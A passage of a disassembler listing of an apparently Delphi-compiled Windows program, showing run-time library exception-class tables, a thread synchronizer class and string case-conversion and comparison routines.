off_40006B68 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF88o
dd 0FFFBh
off_40006B70 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0A8o
dd 0FFFCh
off_40006B78 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0C4o
dd 0FFFDh
off_40006B80 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFECo
dd 0FFFEh
off_40006B88 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B004o
dd 0FFFFh
off_40006B90 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFFCo
dd 0FFE0h
off_40006B98 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0BCo
dd 0FFE1h
off_40006BA0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B020o
dd 0FFE2h
off_40006BA8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF74o
dd 0FFE3h
off_40006BB0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF70o
dd 0FFE4h
off_40006BB8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF78o
dd 0FFE5h
off_40006BC0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B088o
dd 0FFE6h
off_40006BC8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0B8o
dd 0FFE7h
off_40006BD0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF28o
dd 0FFE8h
off_40006BD8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A85Co
; .data:off_4001AF38o
dd 0FFE9h
off_40006BE0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A860o
; .data:off_4001AF8Co
dd 0FFEAh
off_40006BE8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEBCo
; ---------------------------------------------------------------------------
jmp short near ptr loc_40006BEC+1 ; CODE XREF: .text:loc_40006BECj
; ---------------------------------------------------------------------------
align 10h
off_40006BF0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0CCo
dd 0FFECh
off_40006BF8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B01Co
dd 0FFEDh
off_40006C00 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF94o
dd 0FFEEh
off_40006C08 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B050o
dd 0FFEFh
off_40006C10 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0C0o
dd 0FFD0h
off_40006C18 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFD4o
dd 0FFD1h
off_40006C20 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFB4o
dd 0FFD2h
off_40006C28 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF98o
dd 0FFD3h
off_40006C30 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEC0o
dd 0FFD4h
off_40006C38 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B014o
dd 0FFD5h
off_40006C40 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF00o
dd 0FFD6h
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF44o
dd 0FFD7h
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B090o
dd 0FFD8h
off_40006C58 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFF4o
dd 0FFD9h
off_40006C60 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEFCo
dd 0FFDAh
off_40006C68 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEE0o
dd 0FFDBh
off_40006C70 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B038o
dd 0FFDCh
off_40006C78 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFA4o
dd 0FFDDh
off_40006C80 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B010o
dd 0FFDEh
off_40006C88 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B06Co
dd 0FFDFh
off_40006C90 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF40o
dd 0FFC0h
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B060o
dd 0FFC1h
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B030o
; ---------------------------------------------------------------------------
retn 0FFh
; ---------------------------------------------------------------------------
align 4
off_40006CA8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0A4o
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0FFh, 2 dup(0)
off_40006CB0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A884o
; .data:off_4001B0ACo
dd 0FFC4h
off_40006CB8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A888o
; .data:off_4001AFD8o
dd 0FFC5h
off_40006CC0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A88Co
; .data:off_4001B080o
dd 0FFC6h
off_40006CC8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A890o
; .data:off_4001AEB8o
dd 0FFC7h
off_40006CD0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A894o
; .data:off_4001AEF4o
dd 0FFC8h
off_40006CD8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A898o
; .data:off_4001B0D0o
dd 0FFC9h
off_40006CE0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A89Co
; .data:off_4001B068o
; ---------------------------------------------------------------------------
retf 0FFh
; ---------------------------------------------------------------------------
align 4
off_40006CE8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8A0o
; .data:off_4001AED8o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0FFh, 2 dup(0)
off_40006CF0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8A4o
; .data:off_4001AF30o
db 0CCh
db 0FFh, 2 dup(0)
off_40006CF8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8A8o
; .data:off_4001AFDCo
dd 0FFCDh
off_40006D00 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8ACo
; .data:off_4001B070o
dd 0FFCEh
off_40006D08 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8B0o
; .data:off_4001B098o
dd 0FFCFh
off_40006D10 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8B4o
; .data:off_4001AF9Co
dd 0FFB0h
off_40006D18 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8B8o
; .data:off_4001AEC8o
dd 0FFB1h
off_40006D20 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8BCo
; .data:off_4001AF58o
dd 0FFB2h
off_40006D28 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8C0o
; .data:off_4001AFBCo
dd 0FFB3h
off_40006D30 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8C4o
; .data:off_4001AFF8o
dd 0FFB4h
off_40006D38 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8C8o
; .data:off_4001AFB0o
dd 0FFB5h
off_40006D40 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8CCo
; .data:off_4001AF48o
dd 0FFB6h
off_40006D48 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8D0o
; .data:off_4001AFC4o
dd 0FFB7h
off_40006D50 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8D4o
; .data:off_4001B03Co
dd 0FFB8h
off_40006D58 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8D8o
; .data:off_4001AECCo
dd 0FFB9h
off_40006D60 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8DCo
; .data:off_4001AF50o
dd 0FFBAh
off_40006D68 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8E0o
; .data:off_4001AF6Co
dd 0FFBBh
off_40006D70 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8E4o
; .data:off_4001B008o
dd 0FFBCh
off_40006D78 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8E8o
; .data:off_4001B040o
dd 0FFBDh
off_40006D80 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8ECo
; .data:off_4001B04Co
dd 0FFBEh
off_40006D88 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8F0o
; .data:off_4001AFE0o
dd 0FFBFh
off_40006D90 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8F4o
; .data:off_4001AF14o
dd 0FFA0h
off_40006D98 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8F8o
; .data:off_4001B000o
dd 0FFA1h
off_40006DA0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8FCo
; .data:off_4001AF80o
dd 0FFA2h
off_40006DA8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A900o
; .data:off_4001AEF0o
dd 0FFA3h
off_40006DB0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A904o
; .data:off_4001AF10o
dd 0FFA4h
off_40006DB8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A908o
; .data:off_4001AF18o
dd 0FFA5h
off_40006DC0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A90Co
; .data:off_4001AED0o
dd 0FFA6h
off_40006DC8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A910o
; .data:off_4001B028o
dd 0FFA7h
off_40006DD0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A914o
; .data:off_4001AEE8o
dd 0FFA8h
off_40006DD8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A918o
; .data:off_4001B078o
dd 0FFA9h
off_40006DE0 dd offset dword_40006E2C ; DATA XREF: .text:40006E70o
; .text:40006F28o ...
dd 2 dup(0)
dd offset dword_40006E2C
dd 4 dup(0)
dd offset word_40006E3E
dd 0Ch
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40006E2C dd 0Eh, 10000h ; .text:40006DECo ...
db 2 dup(0)
dd offset off_40001000
dw 4
db 2 dup(0)
word_40006E3E dw 4509h ; DATA XREF: .text:40006E00o
dd 70656378h, 6E6F6974h
off_40006E48 dd offset dword_40006E94 ; DATA XREF: .text:40006ECCo
; .text:40007354o
dd 7 dup(0)
dd offset dword_40006E94
dd 10h
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_4000B204
dd offset sub_40003CD8
dword_40006E94 dd 6548450Eh, 78457061h, 74706563h, 906E6F69h
; DATA XREF: .text:off_40006E48o
; .text:40006E68o
off_40006EA4 dd offset dword_40006EF0 ; DATA XREF: sub_4000B72C+8r
dd 7 dup(0)
dd offset dword_40006EF0
dd 10h
dd offset off_40006E48
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_4000B204
dd offset sub_40003CD8
dword_40006EF0 dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; .text:40006EC4o
off_40006F00 dd offset dword_40006F4C ; DATA XREF: sub_4000B230+2Dr
; sub_4000B230+4Cr
dd 7 dup(0)
dd offset dword_40006F4C
dd 10h
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40006F4C dd 6E49450Bh, 4574754Fh, 726F7272h ; .text:40006F20o
off_40006F58 dd offset dword_40006FA4 ; DATA XREF: .text:40006FD8o
; .text:40007038o ...
dd 7 dup(0)
dd offset dword_40006FA4
dd 10h
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40006FA4 dd 78454509h, 6E726574h, 0C08B6C61h ; .text:40006F78o
off_40006FB0 dd offset dword_40006FFC ; DATA XREF: sub_4000B654+80r
dd 7 dup(0)
dd offset dword_40006FFC
dd 10h
dd offset off_40006F58
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40006FFC dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h
; DATA XREF: .text:off_40006FB0o
; .text:40006FD0o ...
off_40007010 dd offset dword_4000705C ; DATA XREF: .text:40007090o
; .text:400070E8o ...
dd 7 dup(0)
dd offset dword_4000705C
dd 10h
dd offset off_40006F58
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000705C dd 6E494509h, 72724574h, 0C08B726Fh ; .text:40007030o
dd offset dword_400070B4
dd 7 dup(0)
dd offset dword_400070B4
dd 10h
dd offset off_40007010
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400070B4 dd 6944450Ah, 5A794276h, 906F7265h ; .text:40007088o ...
off_400070C0 dd offset dword_4000710C ; DATA XREF: sub_4000E068+Br
dd 7 dup(0)
dd offset dword_4000710C
dd 10h
dd offset off_40007010
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000710C dd 6152450Bh, 4565676Eh, 726F7272h ; .text:400070E0o ...
dd offset dword_40007164
dd 7 dup(0)
dd offset dword_40007164
dd 10h
dd offset off_40007010
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40007164 dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; .text:40007138o ...
off_40007174 dd offset dword_400071C0 ; DATA XREF: .text:400071F4o
; .text:4000724Co ...
dd 7 dup(0)
dd offset dword_400071C0
dd 10h
dd offset off_40006F58
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400071C0 dd 614D450Ah, 72456874h, 90726F72h ; .text:40007194o
dd offset dword_40007218
dd 7 dup(0)
dd offset dword_40007218
dd 10h
dd offset off_40007174
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40007218 dd 6E49450Ah, 696C6176h, 90704F64h ; .text:400071ECo ...
dd offset dword_40007270
dd 7 dup(0)
dd offset dword_40007270
dd 10h
dd offset off_40007174
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40007270 dd 655A450Bh, 69446F72h, 65646976h ; .text:40007244o ...
off_4000727C dd offset dword_400072C8 ; DATA XREF: sub_4000E068+30r
dd 7 dup(0)
dd offset dword_400072C8
dd 10h
dd offset off_40007174
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400072C8 dd 764F4509h, 6C667265h, 0C08B776Fh ; .text:4000729Co ...
dd offset dword_40007320
dd 7 dup(0)
dd offset dword_40007320
dd 10h
dd offset off_40007174
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40007320 dd 6E55450Ah, 66726564h, 90776F6Ch ; .text:400072F4o ...
off_4000732C dd offset dword_40007378 ; DATA XREF: sub_4000B72C+1Fr
dd 7 dup(0)
dd offset dword_40007378
dd 10h
dd offset off_40006E48
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_4000B204
dd offset sub_40003CD8
dword_40007378 dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh
; DATA XREF: .text:off_4000732Co
; .text:4000734Co
dd offset dword_400073D4
dd 7 dup(0)
dd offset dword_400073D4
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400073D4 dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; .text:400073A8o ...
off_400073E4 dd offset dword_40007430 ; DATA XREF: sub_40007998+Fr
; sub_4000E068+54r ...
dd 7 dup(0)
dd offset dword_40007430
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40007430 dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh
; DATA XREF: .text:off_400073E4o
; .text:40007404o
off_40007440 dd offset dword_4000748C ; DATA XREF: sub_4000B488+122r
; sub_4000B488+17Er
dd 7 dup(0)
dd offset dword_4000748C
dd 10h
dd offset off_40006F58
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000748C dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh
; DATA XREF: .text:off_40007440o
; .text:40007460o ...
dd offset dword_400074EC
dd 7 dup(0)
dd offset dword_400074EC
dd 10h
dd offset off_40006F58
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400074EC dd 7250450Ah, 6C697669h, 90656765h ; .text:400074C0o ...
dd offset dword_40007544
dd 7 dup(0)
dd offset dword_40007544
dd 10h
dd offset off_40006F58
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40007544 dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ; .text:40007518o ...
dd offset dword_400075A0
dd 7 dup(0)
dd offset dword_400075A0
dd 10h
dd offset off_40006F58
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400075A0 dd 6F434509h, 6F72746Eh, 0C08B436Ch ; .text:40007574o ...
off_400075AC dd offset dword_400075F8 ; DATA XREF: .text:4000D70Co
; .text:4000D770o ...
dd 7 dup(0)
dd offset dword_400075F8
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400075F8 dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh
; DATA XREF: .text:off_400075ACo
; .text:400075CCo ...
off_40007608 dd offset dword_40007654 ; DATA XREF: sub_4000B300+72r
dd 7 dup(0)
dd offset dword_40007654
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40007654 dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h
; DATA XREF: .text:off_40007608o
; .text:40007628o ...
off_40007668 dd offset dword_400076B4 ; DATA XREF: sub_4000B3D8+8r
dd 7 dup(0)
dd offset dword_400076B4
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400076B4 dd 6241450Eh, 61727473h, 72457463h, 90726F72h
; DATA XREF: .text:off_40007668o
; .text:40007688o
dd offset dword_40007710
dd 7 dup(0)
dd offset dword_40007710
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40007710 dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ; .text:400076E4o ...
off_40007720 dd offset dword_4000776C ; DATA XREF: sub_4000C41C+49r
; sub_4000C41C+5Fr
dd 7 dup(0)
dd offset dword_4000776C
dd 10h
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000776C dd 534F4508h, 6F727245h, 408D72h ; .text:40007740o
dd offset dword_400077C4
dd 7 dup(0)
dd offset dword_400077C4
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_400077C4 dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h
; DATA XREF: .text:40007778o
; .text:40007798o ...
off_400077D8 dd offset dword_400077DC ; DATA XREF: sub_40007E2C+1Ar
; sub_4000CC50+10Dr
dword_400077DC dd 372E0311h, 434h db 0
dd offset off_40001000
db 48h, 2 dup(0)
db 0
dd offset off_40001000
db 8, 53h, 79h
dd 69745573h, 0C08B736Ch
off_400077FC dd offset dword_40007800 ; DATA XREF: sub_40007E2C+51r
; sub_4000CC50+11Dr
dword_40007800 dd 382E0311h, 434h db 0
dd offset off_40001000
db 48h, 2 dup(0)
db 0
dd offset off_40001000
db 8, 53h, 79h
dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1
dword_40007828 dd 24h off_4000782C dd offset dword_40007878 ; DATA XREF: sub_4000C69C+4Br
dd 7 dup(0)
dd offset dword_40007878
dd 44h
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_4000C55C
dword_40007878 dd 68545413h, 64616572h, 61636F4Ch, 756F436Ch, 7265746Eh
; DATA XREF: .text:off_4000782Co
; .text:4000784Co
dd 0D4C083CCh, 5003E9h, 0D4C08300h, 506BE9h, 0D4C08300h
dd 4EF7E9h, 0D4C08300h, 4F9BE9h, 24448300h, 0BDE9D404h
dd 83FFFFE9h, 0D4042444h, 0FFE9DBE9h, 244483FFh, 0E5E9D404h
dd 0CCFFFFE9h
off_400078CC dd offset dword_40007878+35h ; DATA XREF: .text:400078FCo
dd offset dword_40007878+3Fh
dd offset dword_40007878+49h
dd offset dword_40007878+15h
dd offset dword_40007878+1Dh
dd offset dword_40007878+25h
dd offset dword_40007878+2Dh
dword_400078E8 dd 1, 7B108C52h, 4CDB1D8Fh, 0E057DF9Ch, 3F3D1971h
; DATA XREF: .text:4000790Co
dd offset off_400078CC
dd 2Ch, 0
off_40007908 dd offset aTmultireadexcl ; DATA XREF: sub_400191F8+2Br
; "$TMultiReadExclusiveWriteSynchronizer@"...
dd offset dword_400078E8
dd 6 dup(0)
dd offset aTmultireadexcl ; "$TMultiReadExclusiveWriteSynchronizer@"...
dd 30h
dd offset off_400010E0
dd offset sub_40003EF4
dd offset sub_40006248
dd offset sub_40006254
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40006264
dd offset sub_40003C9C
dd offset sub_4000C710
aTmultireadexcl db '$TMultiReadExclusiveWriteSynchronizer@',0
; DATA XREF: .text:off_40007908o
; .text:40007928o
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000797C proc near ; CODE XREF: sub_40008FB8+2Bp
; sub_40008FB8+3Bp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov edx, eax
shr edx, 10h
div bx
mov ebx, [ebp+arg_0]
mov [ecx], ax
mov [ebx], dx
pop ebx
pop ebp
retn 4
sub_4000797C endp
; =============== S U B R O U T I N E =======================================
sub_40007998 proc near ; CODE XREF: sub_4000828C+4Cp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
push esi
push edi
mov ecx, ebx
mov dl, 1
mov eax, ds:off_400073E4
call sub_4000B128
call sub_400042E4
pop edi
pop esi
pop ebx
retn
sub_40007998 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400079BC proc near ; CODE XREF: sub_4001145C+87p
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
jz loc_40007A4C
mov edx, [esi-4]
mov edi, eax
test edx, edx
jle short loc_40007A4C
mov ecx, [eax]
mov ebx, edx
test ecx, ecx
jz short loc_400079FF
test edx, 3
jnz short loc_400079EE
xor edx, [ecx-4]
cmp edx, 3
jbe short loc_400079F9
jmp short loc_400079FF
; ---------------------------------------------------------------------------
loc_400079EE: ; CODE XREF: sub_400079BC+26j
or edx, 2
xor edx, [ecx-4]
cmp edx, 1
ja short loc_400079FF
loc_400079F9: ; CODE XREF: sub_400079BC+2Ej
cmp dword ptr [ecx-8], 1
jz short loc_40007A09
loc_400079FF: ; CODE XREF: sub_400079BC+1Ej
; sub_400079BC+30j ...
mov edx, ebx
or edx, 3
call sub_40004F74
loc_40007A09: ; CODE XREF: sub_400079BC+41j
mov edi, [edi]
mov [edi-4], ebx
mov byte ptr [edi+ebx], 0
add ebx, 0FFFFFFFFh
and ebx, 0FFFFFFFCh
mov eax, [esi+ebx]
loc_40007A1B: ; CODE XREF: sub_400079BC+8Aj
mov ecx, eax
or eax, 80808080h
mov edx, eax
sub eax, 7B7B7B7Bh
xor edx, ecx
or eax, 80808080h
sub eax, 66666666h
and eax, edx
shr eax, 2
xor eax, ecx
mov [edi+ebx], eax
mov eax, [esi+ebx-4]
sub ebx, 4
jge short loc_40007A1B
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40007A4C: ; CODE XREF: sub_400079BC+9j
; sub_400079BC+16j
pop edi
pop esi
pop ebx
jmp sub_40004884
sub_400079BC endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40007A58 proc near ; CODE XREF: sub_4001145C+66p
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
jz loc_40007AE8
mov edx, [esi-4]
mov edi, eax
test edx, edx
jle short loc_40007AE8
mov ecx, [eax]
mov ebx, edx
test ecx, ecx
jz short loc_40007A9B
test edx, 3
jnz short loc_40007A8A
xor edx, [ecx-4]
cmp edx, 3
jbe short loc_40007A95
jmp short loc_40007A9B
; ---------------------------------------------------------------------------
loc_40007A8A: ; CODE XREF: sub_40007A58+26j
or edx, 2
xor edx, [ecx-4]
cmp edx, 1
ja short loc_40007A9B
loc_40007A95: ; CODE XREF: sub_40007A58+2Ej
cmp dword ptr [ecx-8], 1
jz short loc_40007AA5
loc_40007A9B: ; CODE XREF: sub_40007A58+1Ej
; sub_40007A58+30j ...
mov edx, ebx
or edx, 3
call sub_40004F74
loc_40007AA5: ; CODE XREF: sub_40007A58+41j
mov edi, [edi]
mov [edi-4], ebx
mov byte ptr [edi+ebx], 0
add ebx, 0FFFFFFFFh
and ebx, 0FFFFFFFCh
mov eax, [esi+ebx]
loc_40007AB7: ; CODE XREF: sub_40007A58+8Aj
mov ecx, eax
or eax, 80808080h
mov edx, eax
sub eax, 5B5B5B5Bh
xor edx, ecx
or eax, 80808080h
sub eax, 66666666h
and eax, edx
shr eax, 2
xor eax, ecx
mov [edi+ebx], eax
mov eax, [esi+ebx-4]
sub ebx, 4
jge short loc_40007AB7
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40007AE8: ; CODE XREF: sub_40007A58+9j
; sub_40007A58+16j
pop edi
pop esi
pop ebx
jmp sub_40004884
sub_40007A58 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40007AF4 proc near ; CODE XREF: sub_40007B90+14p
test eax, eax
jnz short loc_40007B02
test edx, edx
jz short locret_40007B01
mov eax, [edx-4]
neg eax
locret_40007B01: ; CODE XREF: sub_40007AF4+6j
retn
; ---------------------------------------------------------------------------
loc_40007B02: ; CODE XREF: sub_40007AF4+2j
test edx, edx
jnz short loc_40007B0A
mov eax, [eax-4]
retn
; ---------------------------------------------------------------------------
loc_40007B0A: ; CODE XREF: sub_40007AF4+10j
push ebx
push ebp
push esi
mov ebp, [eax-4]
mov ebx, [edx-4]
sub ebp, ebx
sbb ecx, ecx
and ecx, ebp
add ecx, ebx
